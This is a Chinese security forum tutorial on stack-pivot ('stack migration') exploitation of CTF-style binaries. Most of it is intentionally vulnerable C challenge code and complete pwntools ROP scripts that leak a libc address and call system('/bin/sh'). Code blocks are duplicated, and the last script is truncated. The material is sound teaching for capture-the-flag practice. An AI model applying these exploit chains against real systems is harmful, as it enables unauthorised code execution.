-
-
钉子户的迁徙之路(二)
-
发表于: 2024-5-8 08:45 9440
-
说明:本篇文章成型很久,现在已退役,后期完善不足,各位师傅将就看吧
前篇地址:
钉子户的迁徙之路(一):https://bbs.kanxue.com/thread-281631.htm
从上面分析可知由于 ret2csu
长度为 0x80
,那么 migration
长度需要大于0x80
,那么问题来了 migration
的长度不能再小了吗?
我承认这个题目已经实属有点变态了,migration
长度只有2个字长,但buf
却可以输入7个字长,其利用姿势连我本人也觉得有些诡异。为了说明这个问题,我们需要重新来审视一下汇编代码。
在汇编代码中,调用其他函数一般有 2 种方式,一种是 call
,一种是 jmp(jcc)
。其中,大多是用 call
的形式,plt
表中使用的为 jmp
形式,如下图。
call
与 jmp
的区别主要是 call
(近跳转) 要将 ip
压栈,然后 ret
时将 ip
弹出。那么问题来了,如果我们 call
的是 read
函数,而此时写入数据又能够覆盖到存储 ip
的位置,那么,如果我们将 ip
修改,就能够返回到我们想要返回的地方,我将其成为 call read
移形换影,流程如下图。
那么此题的解决方式就是利用此方法将 0x10
与 0x38
拼接成足够长的栈帧进行攻击,流程如下图。
攻击脚本主要内容如下
当然,如果存在两次输入,在栈上写入数据与在bss
段写入数据的长度可以有很多种组合方式,我们适当改变两者的长度。
同样使用 call read
移形换影进行攻击,流程不再赘述,主要代码如下
此题找到的网上流传此题解法均为使用 one_gadget
(可能比赛中出题人给出了 libc )。真实情况下,攻击者并不能期望能有靶机的 glibc ,并且也不能期望所有 one_gadget
都能够使用 ,下面我使用 read移形换影 进行攻击。
脚本如下
西湖论剑2021有一道名为 blind
的 pwn
题出的相当有意思,简单反编译之后如下图。
其攻击原理是 glibc2.27
之后的版本中 alarm
、read
函数中 syscall
距离函数顶部较近(如下图)。
因此,可以使用爆破的方式予以攻击,可以说,这个题目是将64位的 ret2dlresolve
直接提升了一个等级,并且为之后的 pwn
题扩展了很大的思路。此题网上讲解很多,就不再赘述,有兴趣的朋友可以自行查阅。此题江湖流传的版本是攻击 alarm
函数,我对此题改造后发现攻击 read
函数也可以。题目代码如下
当然,本篇文章的主题是栈迁移不是爆破,以上题目可以请有兴趣的朋友自己试试,难度适中。当然,本篇文章主要是讲解栈迁移,所以我对题目做了如下调整。
题目中 b 的空间只有 8 + 8(覆盖rbp) + 8(覆盖返回地址)= 24
个字节的长度,也就是说,程序只能覆盖到返回地址,并且可写的内容非常少,那么我们该如何攻击呢?我们可以利用一个无用的地址作为锚点反复利用call read
流程在一个地址布置栈帧。
攻击脚本如下
**注意:**此种方法在ctf-wiki
中有写,题目是2015-hitcon-readable
,后来听TNT
师傅告诉我的。哎,学而不思则罔,思而不学则殆。
地址:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/#2015-hitcon-readable
,
// question_5
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define LEN 0x10
char
migration[LEN];
//逐渐改变参数长度
int
init_func(){
setvbuf
(stdin,0,2,0);
setvbuf
(stdout,0,2,0);
setvbuf
(stderr,0,2,0);
return
0;
}
int
dofunc(){
char
buf[0x30] = {};
puts
(
"input1:"
);
read(0,migration,LEN);
puts
(
"input2:"
);
read(0,buf,0x38);
//逐渐改变溢出长度
return
0;
}
int
main(){
init_func();
char
byebye[]=
"byebye"
;
dofunc();
puts
(byebye);
return
0;
}
//gcc question_5.c -fno-stack-protector -no-pie -o question_5_x64
// question_5
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define LEN 0x10
char
migration[LEN];
//逐渐改变参数长度
int
init_func(){
setvbuf
(stdin,0,2,0);
setvbuf
(stdout,0,2,0);
setvbuf
(stderr,0,2,0);
return
0;
}
int
dofunc(){
char
buf[0x30] = {};
puts
(
"input1:"
);
read(0,migration,LEN);
puts
(
"input2:"
);
read(0,buf,0x38);
//逐渐改变溢出长度
return
0;
}
int
main(){
init_func();
char
byebye[]=
"byebye"
;
dofunc();
puts
(byebye);
return
0;
}
//gcc question_5.c -fno-stack-protector -no-pie -o question_5_x64
from
pwn
import
*
import
duchao_pwn_script
from
sys
import
argv
import
argparse
s
=
lambda
data: io.send(data)
sa
=
lambda
delim, data: io.sendafter(delim, data)
sl
=
lambda
data: io.sendline(data)
sla
=
lambda
delim, data: io.sendlineafter(delim, data)
r
=
lambda
num
=
4096
: io.recv(num)
ru
=
lambda
delims, drop
=
True
: io.recvuntil(delims, drop)
itr
=
lambda
: io.interactive()
uu32
=
lambda
data: u32(data.ljust(
4
,
'\0'
))
uu64
=
lambda
data: u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name, addr: log.success(
'{} = {:#x}'
.
format
(name, addr))
if
__name__
=
=
'__main__'
:
pwn_arch
=
'amd64'
duchao_pwn_script.init_pwn_linux(pwn_arch)
pwnfile
=
'./migration_6_x64'
io
=
process(pwnfile)
#io = remote('', )
elf
=
ELF(pwnfile)
rop
=
ROP(pwnfile)
context.binary
=
pwnfile
pop_rdi_ret
=
0x4012cb
pop_rsi_r15_ret
=
0x4012c9
leave_ret
=
0x401228
pop_rbp_ret
=
0x401129
call_read_buf_addr
=
0x40120D
read_sym
=
elf.symbols[
'read'
]
puts_sym
=
elf.symbols[
'puts'
]
read_got
=
elf.got[
'read'
]
repc_addr
=
elf.symbols[
'dofunc'
]
migration
=
elf.symbols[
'migration'
]
# 题目要求写入的地址
target1_rbp
=
elf.bss()
+
0x700
#需要测试得出
n
=
1
# n至少要大于3
final_rbp
=
target1_rbp
+
0x100
*
n
leak_func_name
=
'__libc_start_main'
leak_func_got
=
elf.got[leak_func_name]
'''
一、布置栈帧 (根据题目可能与第二步调换)
按照题目要求利用 leave ret 必须迁移到 migration 处
先布置好栈
'''
padding2rbp
=
0x30
payload_buf
=
flat([
'a'
*
padding2rbp , migration])
'''
二、写入第一次迁移后的内容 (根据题目可能与第一步调换)
puts 函数大约要调高栈帧 0x80 , 所以不能直接在迁移处布置栈帧
'''
payload_migration
=
flat([migration
+
padding2rbp
+
0x8
, call_read_buf_addr])
sa(
'input1:\n'
,payload_migration)
sa(
'input2:\n'
, payload_buf)
sleep(
0.5
)
'''
利用 call_read_addr 过程 ,同时修改 call read 后的 返回地址,使得控制 rdx
+----------+ +----------+ +----------+
| | | | | |
+----------+ +----------+ +----------+
|call read | |retrun add| |new r add |
+----------+ +----------+ +----------+
| | | | | |
+----------+ --> +----------+ --> +----------+
| | | | | |
+----------+ +----------+ +----------+
| | | | | |
+----------+ +----------+ +----------+
| rbp | | rbp | | rbp |
+----------+ +----------+ +----------+
'''
payload3
=
flat([pop_rsi_r15_ret, target1_rbp ,
0
, read_sym , pop_rbp_ret , target1_rbp ,leave_ret])
s(payload3)
'''
三、套路查找libc基地址
'''
payload4
=
flat([final_rbp , pop_rdi_ret, leak_func_got , puts_sym , repc_addr , leave_ret ])
s(payload4)
ru(
'\n'
)
leak_func_addr
=
u64(r(
6
).ljust(
8
,b
'\x00'
))
# 不同接受代码接受数量不同
print
(
hex
(leak_func_addr))
# 以下代码为查找system及/bin/sh的地址
system_addr, binsh_addr
=
duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr)
print
(
hex
(system_addr))
print
(
hex
(binsh_addr))
'''
四、写入 system + binsh
由于 system 函数栈很高,重复上面的步骤把 system('/bin/sh') , 放置到bss段较远的位置
'''
# 最终输出
payload_migration
=
flat([migration
+
padding2rbp
+
0x8
, call_read_buf_addr])
sa(
'input1:\n'
,payload_migration)
payload_buf
=
flat([
'a'
*
padding2rbp , migration])
sa(
'input2:\n'
, payload_buf)
sleep(
0.5
)
payload7
=
flat([pop_rsi_r15_ret, target1_rbp ,
0
, read_sym , pop_rbp_ret , target1_rbp ,leave_ret])
s(payload7)
sleep(
0.5
)
payload8
=
flat([final_rbp , pop_rdi_ret, binsh_addr , system_addr ])
s(payload8)
itr()
from
pwn
import
*
import
duchao_pwn_script
from
sys
import
argv
import
argparse
s
=
lambda
data: io.send(data)
sa
=
lambda
delim, data: io.sendafter(delim, data)
sl
=
lambda
data: io.sendline(data)
sla
=
lambda
delim, data: io.sendlineafter(delim, data)
r
=
lambda
num
=
4096
: io.recv(num)
ru
=
lambda
delims, drop
=
True
: io.recvuntil(delims, drop)
itr
=
lambda
: io.interactive()
uu32
=
lambda
data: u32(data.ljust(
4
,
'\0'
))
uu64
=
lambda
data: u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name, addr: log.success(
'{} = {:#x}'
.
format
(name, addr))
if
__name__
=
=
'__main__'
:
pwn_arch
=
'amd64'
duchao_pwn_script.init_pwn_linux(pwn_arch)
pwnfile
=
'./migration_6_x64'
io
=
process(pwnfile)
#io = remote('', )
elf
=
ELF(pwnfile)
rop
=
ROP(pwnfile)
context.binary
=
pwnfile
pop_rdi_ret
=
0x4012cb
pop_rsi_r15_ret
=
0x4012c9
leave_ret
=
0x401228
pop_rbp_ret
=
0x401129
call_read_buf_addr
=
0x40120D
read_sym
=
elf.symbols[
'read'
]
puts_sym
=
elf.symbols[
'puts'
]
read_got
=
elf.got[
'read'
]
repc_addr
=
elf.symbols[
'dofunc'
]
migration
=
elf.symbols[
'migration'
]
# 题目要求写入的地址
target1_rbp
=
elf.bss()
+
0x700
#需要测试得出
n
=
1
# n至少要大于3
final_rbp
=
target1_rbp
+
0x100
*
n
leak_func_name
=
'__libc_start_main'
leak_func_got
=
elf.got[leak_func_name]
'''
一、布置栈帧 (根据题目可能与第二步调换)
按照题目要求利用 leave ret 必须迁移到 migration 处
先布置好栈
'''
padding2rbp
=
0x30
payload_buf
=
flat([
'a'
*
padding2rbp , migration])
'''
二、写入第一次迁移后的内容 (根据题目可能与第一步调换)
puts 函数大约要调高栈帧 0x80 , 所以不能直接在迁移处布置栈帧
'''
payload_migration
=
flat([migration
+
padding2rbp
+
0x8
, call_read_buf_addr])
sa(
'input1:\n'
,payload_migration)
sa(
'input2:\n'
, payload_buf)
sleep(
0.5
)
'''
利用 call_read_addr 过程 ,同时修改 call read 后的 返回地址,使得控制 rdx
+----------+ +----------+ +----------+
| | | | | |
+----------+ +----------+ +----------+
|call read | |retrun add| |new r add |
+----------+ +----------+ +----------+
| | | | | |
+----------+ --> +----------+ --> +----------+
| | | | | |
+----------+ +----------+ +----------+
| | | | | |
+----------+ +----------+ +----------+
| rbp | | rbp | | rbp |
+----------+ +----------+ +----------+
'''
payload3
=
flat([pop_rsi_r15_ret, target1_rbp ,
0
, read_sym , pop_rbp_ret , target1_rbp ,leave_ret])
s(payload3)
'''
三、套路查找libc基地址
'''
payload4
=
flat([final_rbp , pop_rdi_ret, leak_func_got , puts_sym , repc_addr , leave_ret ])
s(payload4)
ru(
'\n'
)
leak_func_addr
=
u64(r(
6
).ljust(
8
,b
'\x00'
))
# 不同接受代码接受数量不同
print
(
hex
(leak_func_addr))
# 以下代码为查找system及/bin/sh的地址
system_addr, binsh_addr
=
duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr)
print
(
hex
(system_addr))
print
(
hex
(binsh_addr))
'''
四、写入 system + binsh
由于 system 函数栈很高,重复上面的步骤把 system('/bin/sh') , 放置到bss段较远的位置
'''
# 最终输出
payload_migration
=
flat([migration
+
padding2rbp
+
0x8
, call_read_buf_addr])
sa(
'input1:\n'
,payload_migration)
payload_buf
=
flat([
'a'
*
padding2rbp , migration])
sa(
'input2:\n'
, payload_buf)
sleep(
0.5
)
payload7
=
flat([pop_rsi_r15_ret, target1_rbp ,
0
, read_sym , pop_rbp_ret , target1_rbp ,leave_ret])
s(payload7)
sleep(
0.5
)
payload8
=
flat([final_rbp , pop_rdi_ret, binsh_addr , system_addr ])
s(payload8)
itr()
// question_6
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define LEN 0x30
char
migration[LEN];
//逐渐改变参数长度
int
init_func(){
setvbuf
(stdin,0,2,0);
setvbuf
(stdout,0,2,0);
setvbuf
(stderr,0,2,0);
return
0;
}
int
dofunc(){
char
b[0x8] = {};
puts
(
"input1:"
);
read(0,migration,LEN);
puts
(
"input2:"
);
read(0,b,0x10);
//逐渐改变溢出长度
return
0;
}
int
main(){
init_func();
char
byebye[]=
"byebye"
;
dofunc();
puts
(byebye);
return
0;
}
//gcc question_5.c -fno-stack-protector -no-pie -o question_5_x64
// question_6
#include <stdio.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define LEN 0x30
char
migration[LEN];
//逐渐改变参数长度
int
init_func(){
setvbuf
(stdin,0,2,0);
setvbuf
(stdout,0,2,0);
setvbuf
(stderr,0,2,0);
return
0;
}
int
dofunc(){
char
b[0x8] = {};
puts
(
"input1:"
);
read(0,migration,LEN);
puts
(
"input2:"
);
read(0,b,0x10);
//逐渐改变溢出长度
return
0;
}
int
main(){
init_func();
char
byebye[]=
"byebye"
;
dofunc();
puts
(byebye);
return
0;
}
//gcc question_5.c -fno-stack-protector -no-pie -o question_5_x64
from
pwn
import
*
import
duchao_pwn_script
from
sys
import
argv
import
argparse
s
=
lambda
data: io.send(data)
sa
=
lambda
delim, data: io.sendafter(delim, data)
sl
=
lambda
data: io.sendline(data)
sla
=
lambda
delim, data: io.sendlineafter(delim, data)
r
=
lambda
num
=
4096
: io.recv(num)
ru
=
lambda
delims, drop
=
True
: io.recvuntil(delims, drop)
itr
=
lambda
: io.interactive()
uu32
=
lambda
data: u32(data.ljust(
4
,
'\0'
))
uu64
=
lambda
data: u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name, addr: log.success(
'{} = {:#x}'
.
format
(name, addr))
if
__name__
=
=
'__main__'
:
pwn_arch
=
'amd64'
duchao_pwn_script.init_pwn_linux(pwn_arch)
pwnfile
=
'./migration_7_x64'
io
=
process(pwnfile)
#io = remote('', )
elf
=
ELF(pwnfile)
rop
=
ROP(pwnfile)
context.binary
=
pwnfile
pop_rdi_ret
=
0x4012ab
pop_rsi_r15_ret
=
0x4012a9
leave_ret
=
0x401200
pop_rbp_ret
=
0x401129
call_read_migration_addr
=
0x4011C3
read_sym
=
elf.symbols[
'read'
]
puts_sym
=
elf.symbols[
'puts'
]
read_got
=
elf.got[
'read'
]
repc_addr
=
elf.symbols[
'dofunc'
]
migration
=
elf.symbols[
'migration'
]
# 题目要求写入的地址
target1_rbp
=
elf.bss()
+
0x700
#需要测试得出
n
=
1
# n至少要大于3
final_rbp
=
target1_rbp
+
0x100
*
n
leak_func_name
=
'__libc_start_main'
leak_func_got
=
elf.got[leak_func_name]
'''
一、布置栈帧 (根据题目可能与第二步调换)
按照题目要求利用 leave ret 必须迁移到 migration 处
先布置好栈
'''
padding2rbp
=
0x8
payload_buf
=
flat([
'a'
*
padding2rbp , migration])
'''
二、写入第一次迁移后的内容 (根据题目可能与第一步调换)
puts 函数大约要调高栈帧 0x80 , 所以不能直接在迁移处布置栈帧
'''
payload_migration
=
flat([target1_rbp , call_read_migration_addr])
sa(
'input1:\n'
,payload_migration)
sa(
'input2:\n'
, payload_buf)
sleep(
0.5
)
'''
利用 call_read_migration_addr 过程 ,同时修改 call read 后的 返回地址,使得控制 rdx
+----------+ +----------+ +----------+
| next rbp | | next rbp | | next rbp |
+----------+ +----------+ +----------+
|call read | |retrun add| | new r add|
+----------+ +----------+ +----------+
| | | | | |
+----------+ --> +----------+ --> +----------+
| | | | | |
+----------+ +----------+ +----------+
| | | | | |
+----------+ +----------+ +----------+
| | | | | |
+----------+ +----------+ +----------+
| | | | | |
+----------+ +----------+ +----------+
'''
payload3
=
flat([
0xdeadbeef
, pop_rsi_r15_ret , target1_rbp ,
0
, read_sym , leave_ret])
s(payload3)
'''
三、套路查找libc基地址
'''
payload4
=
flat([final_rbp , pop_rdi_ret, leak_func_got , puts_sym , repc_addr , leave_ret ])
s(payload4)
ru(
'\n'
)
leak_func_addr
=
u64(r(
6
).ljust(
8
,b
'\x00'
))
# 不同接受代码接受数量不同
print
(
hex
(leak_func_addr))
# 以下代码为查找system及/bin/sh的地址
system_addr, binsh_addr
=
duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr)
print
(
hex
(system_addr))
print
(
hex
(binsh_addr))
'''
四、写入 system + binsh
由于 system 函数栈很高,重复上面的步骤把 system('/bin/sh') , 放置到bss段较远的位置
'''
# 最终输出
payload_migration
=
flat([target1_rbp , call_read_migration_addr])
sa(
'input1:\n'
,payload_migration)
payload_buf
=
flat([
'a'
*
padding2rbp , migration])
sa(
'input2:\n'
, payload_buf)
sleep(
0.5
)
payload7
=
flat([
0xdeadbeef
, pop_rsi_r15_ret , target1_rbp ,
0
, read_sym , leave_ret])
s(payload7)
sleep(
0.5
)
payload8
=
flat([final_rbp , pop_rdi_ret, binsh_addr , system_addr ])
s(payload8)
itr()
from
pwn
import
*
import
duchao_pwn_script
from
sys
import
argv
import
argparse
s
=
lambda
data: io.send(data)
sa
=
lambda
delim, data: io.sendafter(delim, data)
sl
=
lambda
data: io.sendline(data)
sla
=
lambda
delim, data: io.sendlineafter(delim, data)
r
=
lambda
num
=
4096
: io.recv(num)
ru
=
lambda
delims, drop
=
True
: io.recvuntil(delims, drop)
itr
=
lambda
: io.interactive()
uu32
=
lambda
data: u32(data.ljust(
4
,
'\0'
))
uu64
=
lambda
data: u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name, addr: log.success(
'{} = {:#x}'
.
format
(name, addr))
if
__name__
=
=
'__main__'
:
pwn_arch
=
'amd64'
duchao_pwn_script.init_pwn_linux(pwn_arch)
pwnfile
=
'./migration_7_x64'
io
=
process(pwnfile)
#io = remote('', )
elf
=
ELF(pwnfile)
rop
=
ROP(pwnfile)
context.binary
=
pwnfile
pop_rdi_ret
=
0x4012ab
pop_rsi_r15_ret
=
0x4012a9
leave_ret
=
0x401200
pop_rbp_ret
=
0x401129
call_read_migration_addr
=
0x4011C3
read_sym
=
elf.symbols[
'read'
]
puts_sym
=
elf.symbols[
'puts'
]
read_got
=
elf.got[
'read'
]
repc_addr
=
elf.symbols[
'dofunc'
]
migration
=
elf.symbols[
'migration'
]
# 题目要求写入的地址
target1_rbp
=
elf.bss()
+
0x700
#需要测试得出
n
=
1
# n至少要大于3
final_rbp
=
target1_rbp
+
0x100
*
n
leak_func_name
=
'__libc_start_main'
leak_func_got
=
elf.got[leak_func_name]
'''
一、布置栈帧 (根据题目可能与第二步调换)
按照题目要求利用 leave ret 必须迁移到 migration 处
先布置好栈
'''
padding2rbp
=
0x8
payload_buf
=
flat([
'a'
*
padding2rbp , migration])
'''
二、写入第一次迁移后的内容 (根据题目可能与第一步调换)
puts 函数大约要调高栈帧 0x80 , 所以不能直接在迁移处布置栈帧
'''
payload_migration
=
flat([target1_rbp , call_read_migration_addr])
sa(
'input1:\n'
,payload_migration)
sa(
'input2:\n'
, payload_buf)
sleep(
0.5
)
'''
利用 call_read_migration_addr 过程 ,同时修改 call read 后的 返回地址,使得控制 rdx
+----------+ +----------+ +----------+
| next rbp | | next rbp | | next rbp |
+----------+ +----------+ +----------+
|call read | |retrun add| | new r add|
+----------+ +----------+ +----------+
| | | | | |
+----------+ --> +----------+ --> +----------+
| | | | | |
+----------+ +----------+ +----------+
| | | | | |
+----------+ +----------+ +----------+
| | | | | |
+----------+ +----------+ +----------+
| | | | | |
+----------+ +----------+ +----------+
'''
payload3
=
flat([
0xdeadbeef
, pop_rsi_r15_ret , target1_rbp ,
0
, read_sym , leave_ret])
s(payload3)
'''
三、套路查找libc基地址
'''
payload4
=
flat([final_rbp , pop_rdi_ret, leak_func_got , puts_sym , repc_addr , leave_ret ])
s(payload4)
ru(
'\n'
)
leak_func_addr
=
u64(r(
6
).ljust(
8
,b
'\x00'
))
# 不同接受代码接受数量不同
print
(
hex
(leak_func_addr))
# 以下代码为查找system及/bin/sh的地址
system_addr, binsh_addr
=
duchao_pwn_script.libcsearch_sys_sh(leak_func_name, leak_func_addr)
print
(
hex
(system_addr))
print
(
hex
(binsh_addr))
'''
四、写入 system + binsh
由于 system 函数栈很高,重复上面的步骤把 system('/bin/sh') , 放置到bss段较远的位置
'''
# 最终输出
payload_migration
=
flat([target1_rbp , call_read_migration_addr])
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
- [原创]反序列化的前生今世 9514
- [原创]gdb在逆向爆破中的应用 3127
- [原创]EOP编程 9279
- [原创]格式化字符串打出没有回头路(下)——回头望月 46603
- [原创]格式化字符串打出没有回头路(上) 18053